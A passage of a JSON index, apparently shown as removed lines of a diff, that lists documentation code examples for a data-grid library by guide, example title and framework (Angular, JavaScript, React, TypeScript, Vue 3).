"/configuration-options", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/configuration-options/react/example6.tsx", - "file": "guides__getting-started__configuration-options__react__example6.tsx.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example6", - "exampleTitle": "Configuration example", - "docPermalink": "/configuration-options", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/configuration-options/javascript/example6.ts", - "file": "guides__getting-started__configuration-options__javascript__example6.ts.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example6", - "exampleTitle": "Configuration example", - "docPermalink": "/configuration-options", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/configuration-options/vue/example6.vue", - "file": "guides__getting-started__configuration-options__vue__example6.vue.json", - "breadcrumb": [ - "Getting Started", - "Configuration options" - ], - "guide": "guides/getting-started/configuration-options/configuration-options.md", - "guideTitle": "Configuration options", - "exampleId": "example6", - "exampleTitle": "Configuration example", - "docPermalink": "/configuration-options", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/custom-id-class-style/angular/example1.ts", - "file": "guides__getting-started__custom-id-class-style__angular__example1.ts.json", - "breadcrumb": [ - "Getting Started", - "Custom ID, class, and style" - ], - "guide": "guides/getting-started/custom-id-class-style/custom-id-class-style.md", - "guideTitle": "Custom ID, class, and style", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/custom-id-class-style", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/custom-id-class-style/javascript/example1.js", - "file": "guides__getting-started__custom-id-class-style__javascript__example1.js.json", - "breadcrumb": [ - "Getting Started", - "Custom ID, class, and style" - ], - "guide": "guides/getting-started/custom-id-class-style/custom-id-class-style.md", - "guideTitle": "Custom ID, class, and style", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/custom-id-class-style", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/custom-id-class-style/react/example1.tsx", - "file": "guides__getting-started__custom-id-class-style__react__example1.tsx.json", - "breadcrumb": [ - "Getting Started", - "Custom ID, class, and style" - ], - "guide": "guides/getting-started/custom-id-class-style/custom-id-class-style.md", - "guideTitle": "Custom ID, class, and style", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/custom-id-class-style", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/custom-id-class-style/javascript/example1.ts", - "file": "guides__getting-started__custom-id-class-style__javascript__example1.ts.json", - "breadcrumb": [ - "Getting Started", - "Custom ID, class, and style" - ], - "guide": "guides/getting-started/custom-id-class-style/custom-id-class-style.md", - "guideTitle": "Custom ID, class, and style", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/custom-id-class-style", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/custom-id-class-style/vue/example1.vue", - "file": "guides__getting-started__custom-id-class-style__vue__example1.vue.json", - "breadcrumb": [ - "Getting Started", - "Custom ID, class, and style" - ], - "guide": "guides/getting-started/custom-id-class-style/custom-id-class-style.md", - "guideTitle": "Custom ID, class, and style", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/custom-id-class-style", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/demo/angular/example1.ts", - "file": "guides__getting-started__demo__angular__example1.ts.json", - "breadcrumb": [ - "Getting Started", - "Demo" - ], - "guide": "guides/getting-started/demo/demo.md", - "guideTitle": "Demo", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/demo", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/demo/react/example2.jsx", - "file": "guides__getting-started__demo__react__example2.jsx.json", - "breadcrumb": [ - "Getting Started", - "Demo" - ], - "guide": "guides/getting-started/demo/demo.md", - "guideTitle": "Demo", - "exampleId": "example2", - "exampleTitle": "Example 2", - "docPermalink": "/demo", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/demo/vue/example3.vue", - "file": "guides__getting-started__demo__vue__example3.vue.json", - "breadcrumb": [ - "Getting Started", - "Demo" - ], - "guide": "guides/getting-started/demo/demo.md", - "guideTitle": "Demo", - "exampleId": "example3", - "exampleTitle": "Example 3", - "docPermalink": "/demo", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/demo/javascript/example.js", - "file": "guides__getting-started__demo__javascript__example.js.json", - "breadcrumb": [ - "Getting Started", - "Demo" - ], - "guide": "guides/getting-started/demo/demo.md", - "guideTitle": "Demo", - "exampleId": "example", - "exampleTitle": "example", - "docPermalink": "/demo", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/events-and-hooks/javascript/example1.js", - "file": "guides__getting-started__events-and-hooks__javascript__example1.js.json", - "breadcrumb": [ - "Getting Started", - "Events and hooks" - ], - "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", - "guideTitle": "Events and hooks", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/events-and-hooks", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/events-and-hooks/angular/example2.ts", - "file": "guides__getting-started__events-and-hooks__angular__example2.ts.json", - "breadcrumb": [ - "Getting Started", - "Events and hooks" - ], - "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", - "guideTitle": "Events and hooks", - "exampleId": "example2", - "exampleTitle": "The beforeKeyDown callback", - "docPermalink": "/events-and-hooks", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/events-and-hooks/javascript/example2.js", - "file": "guides__getting-started__events-and-hooks__javascript__example2.js.json", - "breadcrumb": [ - "Getting Started", - "Events and hooks" - ], - "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", - "guideTitle": "Events and hooks", - "exampleId": "example2", - "exampleTitle": "The beforeKeyDown callback", - "docPermalink": "/events-and-hooks", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/events-and-hooks/react/example2.tsx", - "file": "guides__getting-started__events-and-hooks__react__example2.tsx.json", - "breadcrumb": [ - "Getting Started", - "Events and hooks" - ], - "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", - "guideTitle": "Events and hooks", - "exampleId": "example2", - "exampleTitle": "The beforeKeyDown callback", - "docPermalink": "/events-and-hooks", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/events-and-hooks/javascript/example2.ts", - "file": "guides__getting-started__events-and-hooks__javascript__example2.ts.json", - "breadcrumb": [ - "Getting Started", - "Events and hooks" - ], - "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", - "guideTitle": "Events and hooks", - "exampleId": "example2", - "exampleTitle": "The beforeKeyDown callback", - "docPermalink": "/events-and-hooks", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/events-and-hooks/vue/example2.vue", - "file": "guides__getting-started__events-and-hooks__vue__example2.vue.json", - "breadcrumb": [ - "Getting Started", - "Events and hooks" - ], - "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", - "guideTitle": "Events and hooks", - "exampleId": "example2", - "exampleTitle": "The beforeKeyDown callback", - "docPermalink": "/events-and-hooks", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/events-and-hooks/angular/example3.ts", - "file": "guides__getting-started__events-and-hooks__angular__example3.ts.json", - "breadcrumb": [ - "Getting Started", - "Events and hooks" - ], - "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", - "guideTitle": "Events and hooks", - "exampleId": "example3", - "exampleTitle": "External control", - "docPermalink": "/events-and-hooks", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/events-and-hooks/react/example3.tsx", - "file": "guides__getting-started__events-and-hooks__react__example3.tsx.json", - "breadcrumb": [ - "Getting Started", - "Events and hooks" - ], - "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", - "guideTitle": "Events and hooks", - "exampleId": "example3", - "exampleTitle": "External control", - "docPermalink": "/events-and-hooks", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/events-and-hooks/vue/example3.vue", - "file": "guides__getting-started__events-and-hooks__vue__example3.vue.json", - "breadcrumb": [ - "Getting Started", - "Events and hooks" - ], - "guide": "guides/getting-started/events-and-hooks/events-and-hooks.md", - "guideTitle": "Events and hooks", - "exampleId": "example3", - "exampleTitle": "External control", - "docPermalink": "/events-and-hooks", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/grid-size/angular/example2.ts", - "file": "guides__getting-started__grid-size__angular__example2.ts.json", - "breadcrumb": [ - "Getting Started", - "Grid size" - ], - "guide": "guides/getting-started/grid-size/grid-size.md", - "guideTitle": "Grid size", - "exampleId": "example2", - "exampleTitle": "Compare size units", - "docPermalink": "/grid-size", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/grid-size/javascript/example2.js", - "file": "guides__getting-started__grid-size__javascript__example2.js.json", - "breadcrumb": [ - "Getting Started", - "Grid size" - ], - "guide": "guides/getting-started/grid-size/grid-size.md", - "guideTitle": "Grid size", - "exampleId": "example2", - "exampleTitle": "Compare size units", - "docPermalink": "/grid-size", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/grid-size/react/example2.tsx", - "file": "guides__getting-started__grid-size__react__example2.tsx.json", - "breadcrumb": [ - "Getting Started", - "Grid size" - ], - "guide": "guides/getting-started/grid-size/grid-size.md", - "guideTitle": "Grid size", - "exampleId": "example2", - "exampleTitle": "Compare size units", - "docPermalink": "/grid-size", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/grid-size/javascript/example2.ts", - "file": "guides__getting-started__grid-size__javascript__example2.ts.json", - "breadcrumb": [ - "Getting Started", - "Grid size" - ], - "guide": "guides/getting-started/grid-size/grid-size.md", - "guideTitle": "Grid size", - "exampleId": "example2", - "exampleTitle": "Compare size units", - "docPermalink": "/grid-size", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/grid-size/vue/example2.vue", - "file": "guides__getting-started__grid-size__vue__example2.vue.json", - "breadcrumb": [ - "Getting Started", - "Grid size" - ], - "guide": "guides/getting-started/grid-size/grid-size.md", - "guideTitle": "Grid size", - "exampleId": "example2", - "exampleTitle": "Compare size units", - "docPermalink": "/grid-size", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/grid-size/angular/example.ts", - "file": "guides__getting-started__grid-size__angular__example.ts.json", - "breadcrumb": [ - "Getting Started", - "Grid size" - ], - "guide": "guides/getting-started/grid-size/grid-size.md", - "guideTitle": "Grid size", - "exampleId": "example", - "exampleTitle": "Manual resizing", - "docPermalink": "/grid-size", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/grid-size/javascript/example.js", - "file": "guides__getting-started__grid-size__javascript__example.js.json", - "breadcrumb": [ - "Getting Started", - "Grid size" - ], - "guide": "guides/getting-started/grid-size/grid-size.md", - "guideTitle": "Grid size", - "exampleId": "example", - "exampleTitle": "Manual resizing", - "docPermalink": "/grid-size", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/grid-size/react/example.tsx", - "file": "guides__getting-started__grid-size__react__example.tsx.json", - "breadcrumb": [ - "Getting Started", - "Grid size" - ], - "guide": "guides/getting-started/grid-size/grid-size.md", - "guideTitle": "Grid size", - "exampleId": "example", - "exampleTitle": "Manual resizing", - "docPermalink": "/grid-size", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/grid-size/javascript/example.ts", - "file": "guides__getting-started__grid-size__javascript__example.ts.json", - "breadcrumb": [ - "Getting Started", - "Grid size" - ], - "guide": "guides/getting-started/grid-size/grid-size.md", - "guideTitle": "Grid size", - "exampleId": "example", - "exampleTitle": "Manual resizing", - "docPermalink": "/grid-size", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/grid-size/vue/example.vue", - "file": "guides__getting-started__grid-size__vue__example.vue.json", - "breadcrumb": [ - "Getting Started", - "Grid size" - ], - "guide": "guides/getting-started/grid-size/grid-size.md", - "guideTitle": "Grid size", - "exampleId": "example", - "exampleTitle": "Manual resizing", - "docPermalink": "/grid-size", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/vue3-hot-column/vue/example1.vue", - "file": "guides__getting-started__vue3-hot-column__vue__example1.vue.json", - "breadcrumb": [ - "Getting Started", - "HotColumn component" - ], - "guide": "guides/getting-started/vue3-hot-column/vue3-hot-column.md", - "guideTitle": "HotColumn component", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/vue-hot-column", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/vue3-hot-column/vue/example2.vue", - "file": "guides__getting-started__vue3-hot-column__vue__example2.vue.json", - "breadcrumb": [ - "Getting Started", - "HotColumn component" - ], - "guide": "guides/getting-started/vue3-hot-column/vue3-hot-column.md", - "guideTitle": "HotColumn component", - "exampleId": "example2", - "exampleTitle": "Array of objects", - "docPermalink": "/vue-hot-column", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/vue3-hot-column/vue/example3.vue", - "file": "guides__getting-started__vue3-hot-column__vue__example3.vue.json", - "breadcrumb": [ - "Getting Started", - "HotColumn component" - ], - "guide": "guides/getting-started/vue3-hot-column/vue3-hot-column.md", - "guideTitle": "HotColumn component", - "exampleId": "example3", - "exampleTitle": "Declare a custom editor as a component", - "docPermalink": "/vue-hot-column", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/vue3-hot-column/vue/example4.vue", - "file": "guides__getting-started__vue3-hot-column__vue__example4.vue.json", - "breadcrumb": [ - "Getting Started", - "HotColumn component" - ], - "guide": "guides/getting-started/vue3-hot-column/vue3-hot-column.md", - "guideTitle": "HotColumn component", - "exampleId": "example4", - "exampleTitle": "Declare a custom renderer", - "docPermalink": "/vue-hot-column", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/vue3-hot-column/vue/example5.vue", - "file": "guides__getting-started__vue3-hot-column__vue__example5.vue.json", - "breadcrumb": [ - "Getting Started", - "HotColumn component" - ], - "guide": "guides/getting-started/vue3-hot-column/vue3-hot-column.md", - "guideTitle": "HotColumn component", - "exampleId": "example5", - "exampleTitle": "Render columns dynamically", - "docPermalink": "/vue-hot-column", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/installation/vue/example1.vue", - "file": "guides__getting-started__installation__vue__example1.vue.json", - "breadcrumb": [ - "Getting Started", - "Installation" - ], - "guide": "guides/getting-started/installation/installation.md", - "guideTitle": "Installation", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/installation", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/installation/javascript/example.js", - "file": "guides__getting-started__installation__javascript__example.js.json", - "breadcrumb": [ - "Getting Started", - "Installation" - ], - "guide": "guides/getting-started/installation/installation.md", - "guideTitle": "Installation", - "exampleId": "example", - "exampleTitle": "Preview the result", - "docPermalink": "/installation", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/installation/react/example.tsx", - "file": "guides__getting-started__installation__react__example.tsx.json", - "breadcrumb": [ - "Getting Started", - "Installation" - ], - "guide": "guides/getting-started/installation/installation.md", - "guideTitle": "Installation", - "exampleId": "example", - "exampleTitle": "Preview the result", - "docPermalink": "/installation", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/installation/javascript/example.ts", - "file": "guides__getting-started__installation__javascript__example.ts.json", - "breadcrumb": [ - "Getting Started", - "Installation" - ], - "guide": "guides/getting-started/installation/installation.md", - "guideTitle": "Installation", - "exampleId": "example", - "exampleTitle": "Preview the result", - "docPermalink": "/installation", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/angular-hot-instance/angular/example1.ts", - "file": "guides__getting-started__angular-hot-instance__angular__example1.ts.json", - "breadcrumb": [ - "Getting Started", - "Instance access" - ], - "guide": "guides/getting-started/angular-hot-instance/angular-hot-instance.md", - "guideTitle": "Instance access", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/instance-access", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/react-methods/react/example1.tsx", - "file": "guides__getting-started__react-methods__react__example1.tsx.json", - "breadcrumb": [ - "Getting Started", - "Instance methods" - ], - "guide": "guides/getting-started/react-methods/react-methods.md", - "guideTitle": "Instance methods", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/instance-methods", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/vue3-hot-reference/vue/example1.vue", - "file": "guides__getting-started__vue3-hot-reference__vue__example1.vue.json", - "breadcrumb": [ - "Getting Started", - "Instance reference" - ], - "guide": "guides/getting-started/vue3-hot-reference/vue3-hot-reference.md", - "guideTitle": "Instance reference", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/vue-instance-reference", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/react-redux/react/example1.tsx", - "file": "guides__getting-started__react-redux__react__example1.tsx.json", - "breadcrumb": [ - "Getting Started", - "Integration with Redux" - ], - "guide": "guides/getting-started/react-redux/react-redux.md", - "guideTitle": "Integration with Redux", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/redux", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/react-redux/react/example6.tsx", - "file": "guides__getting-started__react-redux__react__example6.tsx.json", - "breadcrumb": [ - "Getting Started", - "Integration with Redux" - ], - "guide": "guides/getting-started/react-redux/react-redux.md", - "guideTitle": "Integration with Redux", - "exampleId": "example6", - "exampleTitle": "Advanced example", - "docPermalink": "/redux", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/vue3-pinia/vue/example1.vue", - "file": "guides__getting-started__vue3-pinia__vue__example1.vue.json", - "breadcrumb": [ - "Getting Started", - "Pinia state management" - ], - "guide": "guides/getting-started/vue3-pinia/vue3-pinia.md", - "guideTitle": "Pinia state management", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/vue-pinia", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/saving-data/angular/example1.ts", - "file": "guides__getting-started__saving-data__angular__example1.ts.json", - "breadcrumb": [ - "Getting Started", - "Saving data" - ], - "guide": "guides/getting-started/saving-data/saving-data.md", - "guideTitle": "Saving data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/saving-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/saving-data/javascript/example1.js", - "file": "guides__getting-started__saving-data__javascript__example1.js.json", - "breadcrumb": [ - "Getting Started", - "Saving data" - ], - "guide": "guides/getting-started/saving-data/saving-data.md", - "guideTitle": "Saving data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/saving-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/saving-data/react/example1.tsx", - "file": "guides__getting-started__saving-data__react__example1.tsx.json", - "breadcrumb": [ - "Getting Started", - "Saving data" - ], - "guide": "guides/getting-started/saving-data/saving-data.md", - "guideTitle": "Saving data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/saving-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/saving-data/javascript/example1.ts", - "file": "guides__getting-started__saving-data__javascript__example1.ts.json", - "breadcrumb": [ - "Getting Started", - "Saving data" - ], - "guide": "guides/getting-started/saving-data/saving-data.md", - "guideTitle": "Saving data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/saving-data", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/saving-data/vue/example1.vue", - "file": "guides__getting-started__saving-data__vue__example1.vue.json", - "breadcrumb": [ - "Getting Started", - "Saving data" - ], - "guide": "guides/getting-started/saving-data/saving-data.md", - "guideTitle": "Saving data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/saving-data", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/server-side-data/angular/example1.ts", - "file": "guides__getting-started__server-side-data__angular__example1.ts.json", - "breadcrumb": [ - "Getting Started", - "Server-side data" - ], - "guide": "guides/getting-started/server-side-data/server-side-data.md", - "guideTitle": "Server-side data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/server-side-data", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/getting-started/server-side-data/javascript/example1.js", - "file": "guides__getting-started__server-side-data__javascript__example1.js.json", - "breadcrumb": [ - "Getting Started", - "Server-side data" - ], - "guide": "guides/getting-started/server-side-data/server-side-data.md", - "guideTitle": "Server-side data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/server-side-data", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/getting-started/server-side-data/react/example1.tsx", - "file": "guides__getting-started__server-side-data__react__example1.tsx.json", - "breadcrumb": [ - "Getting Started", - "Server-side data" - ], - "guide": "guides/getting-started/server-side-data/server-side-data.md", - "guideTitle": "Server-side data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/server-side-data", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/getting-started/server-side-data/javascript/example1.ts", - "file": "guides__getting-started__server-side-data__javascript__example1.ts.json", - "breadcrumb": [ - "Getting Started", - "Server-side data" - ], - "guide": "guides/getting-started/server-side-data/server-side-data.md", - "guideTitle": "Server-side data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/server-side-data", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/getting-started/server-side-data/vue/example1.vue", - "file": "guides__getting-started__server-side-data__vue__example1.vue.json", - "breadcrumb": [ - "Getting Started", - "Server-side data" - ], - "guide": "guides/getting-started/server-side-data/server-side-data.md", - "guideTitle": "Server-side data", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/server-side-data", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/getting-started/vue3-vuex/vue/example1.vue", - "file": "guides__getting-started__vue3-vuex__vue__example1.vue.json", - "breadcrumb": [ - "Getting Started", - "Vuex state management" - ], - "guide": "guides/getting-started/vue3-vuex/vue3-vuex.md", - "guideTitle": "Vuex state management", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/vue-vuex", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/internationalization/language/angular/example1.ts", - "file": "guides__internationalization__language__angular__example1.ts.json", - "breadcrumb": [ - "Internationalization", - "Language" - ], - "guide": "guides/internationalization/language/language.md", - "guideTitle": "Language", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/language", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/internationalization/language/javascript/example1.js", - "file": "guides__internationalization__language__javascript__example1.js.json", - "breadcrumb": [ - "Internationalization", - "Language" - ], - "guide": "guides/internationalization/language/language.md", - "guideTitle": "Language", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/language", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/internationalization/language/react/example1.tsx", - "file": "guides__internationalization__language__react__example1.tsx.json", - "breadcrumb": [ - "Internationalization", - "Language" - ], - "guide": "guides/internationalization/language/language.md", - "guideTitle": "Language", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/language", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/internationalization/language/javascript/example1.ts", - "file": "guides__internationalization__language__javascript__example1.ts.json", - "breadcrumb": [ - "Internationalization", - "Language" - ], - "guide": "guides/internationalization/language/language.md", - "guideTitle": "Language", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/language", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/internationalization/language/vue/example1.vue", - "file": "guides__internationalization__language__vue__example1.vue.json", - "breadcrumb": [ - "Internationalization", - "Language" - ], - "guide": "guides/internationalization/language/language.md", - "guideTitle": "Language", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/language", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/internationalization/layout-direction/angular/example1.ts", - "file": "guides__internationalization__layout-direction__angular__example1.ts.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/layout-direction", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/internationalization/layout-direction/javascript/example1.js", - "file": "guides__internationalization__layout-direction__javascript__example1.js.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/layout-direction", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/internationalization/layout-direction/react/example1.tsx", - "file": "guides__internationalization__layout-direction__react__example1.tsx.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/layout-direction", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/internationalization/layout-direction/javascript/example1.ts", - "file": "guides__internationalization__layout-direction__javascript__example1.ts.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/layout-direction", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/internationalization/layout-direction/vue/example1.vue", - "file": "guides__internationalization__layout-direction__vue__example1.vue.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/layout-direction", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/internationalization/layout-direction/angular/example2.ts", - "file": "guides__internationalization__layout-direction__angular__example2.ts.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example2", - "exampleTitle": "Set the layout direction automatically", - "docPermalink": "/layout-direction", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/internationalization/layout-direction/javascript/example2.js", - "file": "guides__internationalization__layout-direction__javascript__example2.js.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example2", - "exampleTitle": "Set the layout direction automatically", - "docPermalink": "/layout-direction", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/internationalization/layout-direction/react/example2.tsx", - "file": "guides__internationalization__layout-direction__react__example2.tsx.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example2", - "exampleTitle": "Set the layout direction automatically", - "docPermalink": "/layout-direction", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/internationalization/layout-direction/javascript/example2.ts", - "file": "guides__internationalization__layout-direction__javascript__example2.ts.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example2", - "exampleTitle": "Set the layout direction automatically", - "docPermalink": "/layout-direction", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/internationalization/layout-direction/vue/example2.vue", - "file": "guides__internationalization__layout-direction__vue__example2.vue.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example2", - "exampleTitle": "Set the layout direction automatically", - "docPermalink": "/layout-direction", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/internationalization/layout-direction/angular/example3.ts", - "file": "guides__internationalization__layout-direction__angular__example3.ts.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": "guides/internationalization/layout-direction/layout-direction.md", - "guideTitle": "Layout direction", - "exampleId": "example3", - "exampleTitle": "Set the layout direction to RTL", - "docPermalink": "/layout-direction", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/internationalization/layout-direction/javascript/example3.js", - "file": "guides__internationalization__layout-direction__javascript__example3.js.json", - "breadcrumb": [ - "Internationalization", - "Layout direction" - ], - "guide": 